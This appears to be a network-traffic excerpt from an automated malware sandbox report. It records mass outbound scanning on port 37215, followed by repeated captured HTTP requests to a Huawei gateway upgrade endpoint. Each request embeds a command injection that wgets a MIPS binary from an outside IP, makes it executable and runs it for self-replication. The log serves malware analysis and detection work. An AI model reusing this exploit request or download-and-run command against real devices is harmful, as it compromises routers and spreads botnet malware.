Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.102.24.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.247.96.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.231.199.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.47.118.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 181.144.123.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.87.239.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.141.181.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.2.197.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.136.1.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.209.218.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.144.245.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.20.80.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 142.56.101.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 50.162.173.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.176.3.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.24.172.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 66.74.166.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.121.63.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.154.200.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.197.132.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.162.223.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 143.201.51.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.186.216.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.40.123.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.237.210.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.240.183.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.173.82.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.209.14.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 58.78.96.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.68.18.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.115.113.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.93.51.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.55.244.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.63.194.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.61.220.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.146.57.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.19.115.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 23.120.97.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 57.94.67.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.104.222.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.193.38.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.34.245.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 13.241.154.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.16.101.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.68.96.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.166.164.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.45.108.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 185.174.130.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.141.195.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.143.250.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 146.84.158.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.110.49.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 1.76.233.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.84.188.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.129.3.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.250.180.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.72.71.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.25.255.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.158.211.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.186.158.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 113.171.103.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.155.26.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.226.199.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.215.94.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.77.183.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 161.49.89.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.180.154.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.82.218.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.170.178.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.71.72.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 204.20.233.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.43.197.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.104.119.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.41.38.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.230.16.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.255.147.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.164.201.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 103.21.139.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.199.135.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.31.201.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.197.98.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.51.80.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.124.55.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.241.236.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.22.10.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.142.89.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 187.50.67.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.105.219.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.196.168.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.217.153.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.254.98.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.212.151.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.193.35.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 62.105.95.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 223.81.221.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.64.111.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.128.114.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.126.103.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 59.200.175.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.219.61.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.163.99.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.12.29.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 116.192.48.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.69.68.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.40.93.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.15.33.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 137.191.200.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.190.190.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.49.41.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.102.234.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 144.164.143.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.122.215.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.105.33.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 134.101.125.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 24.104.137.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.60.56.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.148.63.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.174.116.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.21.134.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.215.21.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.84.224.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.175.114.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.252.94.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.217.170.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 111.31.91.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.110.234.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.151.65.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.214.248.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.255.173.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.192.105.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.245.37.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.159.4.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.48.26.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.228.236.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 89.162.57.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.24.197.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.24.60.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 61.225.101.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.46.226.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.129.148.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.247.252.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 132.28.235.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 20.10.156.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.3.165.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.185.176.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.187.56.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.123.93.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.105.173.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 69.19.241.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.99.215.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 141.203.6.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.179.215.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.113.139.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.69.209.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.13.17.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.192.116.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.7.194.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.129.207.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.140.111.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 1.191.69.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.224.254.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 69.116.3.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.133.62.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.24.180.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.231.153.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 45.1.58.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.247.214.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.50.120.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 64.154.135.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.123.70.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.13.38.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.175.223.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.65.3.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.1.84.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 216.31.52.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.202.140.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.112.193.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 47.48.98.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.92.78.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.105.14.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 42.73.141.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.240.251.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.196.82.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.176.108.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.118.79.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.186.233.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.160.33.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.35.7.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.67.234.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.73.243.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.202.15.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.104.245.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.158.238.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 81.43.247.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.60.38.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.55.67.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 104.35.54.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.137.110.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.185.69.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.37.149.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 155.97.114.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 133.100.111.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.245.177.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.6.221.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.215.196.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 61.195.16.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.55.226.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.25.201.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.19.31.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.170.135.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.173.90.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.194.251.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.38.111.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.0.201.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.205.128.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 31.229.134.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 78.235.210.51:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope 